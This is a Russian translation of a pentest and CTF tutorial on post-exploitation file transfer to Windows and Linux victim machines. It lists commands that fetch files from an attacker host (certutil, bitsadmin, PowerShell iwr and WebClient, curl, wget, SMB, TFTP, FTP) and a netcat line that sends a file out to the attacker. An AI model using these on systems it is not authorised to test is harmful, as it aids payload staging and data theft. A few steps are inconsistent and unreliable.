В этой статье пойдет речь о нескольких методах передачи файлов на Linux и Windows. Процесс является важным компонентом пост-эксплуатации, которую осуществляет пентестер.
Введение
Руководство по передаче файлов ориентировано на выполнение практики «Red teaming» и тестирования на проникновение, а также будет полезным при использовании в CTF. Стоит взглянуть на компоненты, которые понадобятся пентестеру во время работы.
Передача файлов на Windows
Необходимые компоненты
- Машина пентестера: Kali Linux
- Машина жертвы: Windows
- Файл для передачи: Putty.exe
IWR (Invoke-Web Request)
Машина пентестера : Пользователь переходит в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, которую можно выполнить на сервере «SimpleHTTPS » на порту 80, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге. Это один из самых простых способов передачи файлов.
python -m SimpleHTTPServer 80
Машина жертвы : Нужно открыть новую вкладку на терминале в Kali. Поскольку пользователь уже использовал машину жертвы, следует использовать Netcat для получения входящего соединения от машины пентестера. Как только это будет сделано, необходимо выполнить команду PowerShell на машине жертвы, чтобы загрузить файл с машины пентестера в заданный каталог. При проверке временного каталога пользователь может увидеть файл «putty.exe », который был успешно доставлен.
Примечание : «iwr» расшифровывается как «Invoke-Web Request» и является частью утилиты Microsoft PowerShell .
nc -lvp 4444
powershell.exe -command iwr -Uri http://192.168.1.2/putty.exe -OutFile C:\Temp\putty.exe "
dir
Бывают случаи, когда пользователь хочет использовать сокращенные команды. Поэтому вместо «-outfile » он будет вводить только «-o », чтобы указать путь назначения данных (как показано ниже). Читатели могут заметить, что с помощью этой команды человек также успешно отправляет файл «putty.exe » с его компьютера.
powershell.exe iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe
Есть еще один способ использовать ту же команду и сократить ее до минимального размера. Итак, нужно запустить PowerShell на машине жертвы и ввести комбинацию букв и знаков, как показано на рисунке ниже.
powershell
iwr -uri 192.168.1.2/putty.exe -o C:\Temp\putty.exe
dir
Certutil
Изначально Certutil предназначался для управления сертификатами и CA, но он также может быть использован для передачи файлов.
Машина пентестера : Пользователь может использовать тот же сервер «SimpleHTTP » на порту 80 на атакующей машине для отправки файла из каталога.
Машина жертвы : Следует использовать следующую команду для загрузки файла с машины пентестера. В команде человек упомянул IP-адрес файла и имя нужного файла. «- f» помогает произвести перезапись данных.
certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe
Та же команда может быть выполнена с дополнительным разделением символов, чтобы указать на встроенные элементы ASN.1, а затем сохранить все на машину жертвы.
certutil -urlcache -split -f http://192.168.1.2/putty.exe putty.exe
Bitsadmin
Машина жертвы : Команда «/transfer» в Bitsadmin – это один из самых простых способов передачи файлов с машины пентестера. Сначала нужно определить отображаемое имя передачи. В данном примере оно будет называться «job». После определения имени следует указать путь к файлу для загрузки, т.е. «putty.exe» в машине пентестера. В результате пользователь вводит имя файла для загрузки и путь назначения.
bitsadmin /transfer job https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\Temp\putty.exe
Curl
Curl – это инструмент командной строки Linux, который используется для обмена данными с одного сервера на другой. Теперь он также доступен в «cmd» Windows.
Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.
Машина жертвы: На машине жертвы нужно выполнить следующую команду, чтобы загрузить файл с машины пентестера:
curl http://192.168.1.2/putty.exe -o putty.exe
dir
Wget
Его задача состоит в том, чтобы извлекать контент с доступных веб-серверов. Человек загрузит файл на сервер с помощью PowerShell.
Машина пентестера: Пользователь может использовать тот же сервер «SimpleHTTP» на порту 80 на атакующей машине для отправки файла из каталога.
Машина жертвы : Нужно открыть Powershell на машине Windows и выполнить следующую команду. Пользователь указывает путь для загрузки файла и папку назначения для передачи файла «putty.exe».
powershell
wget http://192.168.1.2/putty.exe -OutFile putty.exe
dir
Человек может использовать одну и ту же команду по-разному. Он применяет PowerShell .
powershell.exe wget http://192.168.1.2/putty.exe -OutFile putty.exe
Powershell
У пользователя есть команда для доступа к Shell Windows, которую он может использовать для загрузки любого файла с веб-сервера. Следует ввести приведенную ниже команду в Powershell машины жертвы от имени администратора.
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.2/putty.exe', 'putty.exe')
SMB Server
SMB – это протокол, предназначенный для установления связи, чтобы обеспечить общий доступ к файлам, портам и т.д. Нужно понять, как пользователь может использовать его для передачи файла с его машины на машину жертвы.
Impacket-Smbserver
Машина пентестера : На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл. Затем нужно воспользоваться командой «Impacket-smbserver », чтобы поделиться этим файлом с локальной машины. Значение общего ресурса здесь заключается в том, что он преобразует длинный путь файла в один общий каталог. Одна и та же команда «I mpacket» может выполняться двумя способами.
Примечание : «Impacket » обеспечивает низкоуровневый программный доступ к некоторым пакетам для определенных протоколов в сети.
В приведенной ниже команде видно, что пользователь будет совместно использовать файл из каталога. Однако вместо упоминания всего пути он пишет «pwd », что означает текущий рабочий каталог.
impacket-smbserver share $(pwd) -smb2support
Эту команду можно использовать по-разному. Единственное различие заключается в том, что пользователь упоминает текущий каталог, как показано на рисунке ниже.
impacket-smbserver share /root/Downloads/test -smb2support
Машина жертвы: На машине жертвы для загрузки файла с машины пентестера можно воспользоваться командой «copy ».
copy \\192.168.1.2\share\putty.exe
dir
Человек также может использовать команду «net use » для подключения к общей папке. Затем следует ввести команду «copy », чтобы загрузить файл с компьютера пентестера. Файл «putty.exe» успешно был доставлен в систему жертвы.
net use \\192.168.1.2\share
net use
copy \\192.168.1.2\share\putty.exe
dir
Примечание : Если пентестер использует другую операционную систему, где «Impacket » не установлен по умолчанию, то можно применить следующий метод, вручную установив «Impacket smb-server » из Github .
Машина пентестера : На атакующей машине пользователь переходит в каталог, из которого должен быть передан файл.
python3 smbserver.py share /root/test -smb2support
Машина жертвы: На машине жертвы для загрузки файла с машины пентестера также можно воспользоваться командой «copy ».
copy \\192.168.1.2\share\putty.exe
dir
TFTP
Служба TFTP используется для чтения и записи файлов из удаленного соединения, которое функционирует на порту 69 путем настройки UDP.
Машина пентестера : На атакующей машине нужно создать каталог и файл с именем «file.txt ».
Теперь пользователь откроет Metasploit и использует существующий модуль TFTP для обмена файлами. Нужно ввести IP-адрес машины пентестера, а также путь к каталогу для загрузки файла и эксплойта.
Машина жертвы : На машине жертвы для загрузки файла с машины пентестера используется команда «TFTP ». Файл «putty.exe» успешно был доставлен.
tftp -i 192.168.1.2 GET file.txt
FTP
FTP расшифровывается как File Transfer Protocol («протокол передачи файлов»). Его задача заключается в совместном использовании файлов между системами. С помощью FTP пользователь может загрузить файл в систему Windows жертвы, введя правильное имя пользователя и пароль, как показано ниже. Он также может использовать команду «get », если есть два файла, чтобы выбрать необходимый ему файл.
ftp 192.168.1.5
get file.txt
dir
Передача файлов на Linux
HTTP
Это один из самых популярных способов передачи файлов. Стоит рассмотреть различные методы использования HTTP в этих целях.
PHP Web-Server
Машина пентестера : Команда «PHP» используется для запуска HTTP-листенера для получения общего доступа к файлам, перейдя в каталог, где находится файл.
php -S 0.0.0.0:8080
Машина жертвы : В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.
192.168.1.6:8080/putty.exe
Apache
Машина пентестера: Служба Apache должна быть активирована на компьютере перед передачей файла через веб-каталоги. Затем нужно переместить любой файл в каталог HTML, чтобы поделиться им. После этого пользователь перезапускает Apache.
cp putty.exe /var/www/html
service apache2 restart
Машина жертвы: В веб-браузере машины жертвы нужно указать IP-адрес пентестера с номером порта и именем файла, чтобы загрузить его.
192.168.1.6/putty.exe
Сервер Simple HTTP
Машина пентестера : Пользователь перейдет в локальный каталог, из которого он собирается загрузить файл на машину жертвы. Команда Python, выполняемая на сервере «SimpleHTTP» на порту 8000, мгновенно создает и запускает веб-сервер для доступа и передачи файлов в текущем рабочем каталоге.
python -m SimpleHTTPServer
Если у человека установлена более новая версия Python, он также может использовать команду, как показано на рисунке ниже.
python3 -m http.server 8000
Машина жертвы : В веб-браузере жертвы нужно указать IP-адрес машины пентестера и номер порта, чтобы перечислить содержимое каталога для загрузки файла.
Curl
Это инструмент командной строки, который используется для передачи данных. Он также применяется для загрузки файлов с машины пентестера.
Машина жертвы : Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.
curl -O http://192.168.1.6/putty.exe
Wget
Это инструмент командной строки Linux, который используется для загрузки файла с компьютера пентестера.
Машина жертвы : Пользователь выполнит следующую команду, чтобы загрузить файл на машину жертвы.
wget 192.168.1.6/putty.exe
Netcat
Netcat известен как «швейцарский нож». Он используется в нескольких целях. Пользователь будет применять его для передачи файлов.
Машина пентестера : Пользователь использует следующую команду для загрузки файла.
nc -lvp 5555 > file.txt
Машина жертвы: На машине жертвы нужно ввести данную команду.
nc 192.168.1.6 5555 < file.txt
Теперь пользователь может скачать файл, чтобы просмотреть его содержимое.
SCP
SCP расшифровывается как Secure Copy Protocol . Он предназначен для безопасной передачи файлов между локальным и удаленным хостом. Основан на протоколе SSH.
Машина пентестера : Пользователь создал новый файл «file.txt», затем перенес его на удаленную машину с помощью следующей команды:
scp file.txt kali@192.168.1.6:/tmp
Машина жертвы : На машине жертвы пользователь переходит в каталог «/temp » и использует команду «cat » для чтения файла.
SMB-Client
Машина пентестера : Служба «smbclient» может использоваться для получения доступа к общей папке smb-сервера. Следует выполнить приведенную ниже команду, чтобы просмотреть эту папку.
Машина жертвы: Пользователь проверит файл в общем каталоге. Он может загрузить его с помощью команды «get » и прочитать его содержимое с помощью команды «cat ».
smbclient -L 192.168.1.21 -U raj%123
smbclient //192.168.1.21/share -U raj%123
Meterpreter
Машина пентестера: При компрометации машины жертвы с помощью Meterpreter пользователь может выполнить следующую команду для загрузки файла с его компьютера.
meterpreter> download file.txt /root/Desktop/
FTP
Машина пентестера: Нужно установить Python-FTP-библиотеку с помощью команды «pip ». Затем человек вводит команду «python », чтобы поделиться файлом с помощью FTP. Нужно установить для него имя пользователя и пароль.
Примечание: В данном случае «p » в нижнем регистре означает номер порта, а «Р » в верхнем регистре – пароль.
pip install pyftpdlib
python3 -m pyftpdlib -p 21 -u jeenali -P 123
Машина жертвы : На машине жертвы человек использует команду FTP с IP-адресом его компьютера, вводит имя пользователя и пароль. С помощью команды «get » он может отправить файл.
ftp 192.168.1.5
Человек также имеет возможность загрузить файл на машину жертвы из браузера, введя имя пользователя и пароль.
ftp 192.168.1.5
Здесь читатели могут увидеть каталог, указанный в списке, и файл, который готов к загрузке.
ftp 192.168.1.5
Автор переведенной статьи: Jeenali Kothari.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.
ЧИТАТЬ ВСЕ СТАТЬИ НА САЙТЕ | ПОДПИСЫВАЙТЕСЬ НА НАШ TELEGRAM КАНАЛ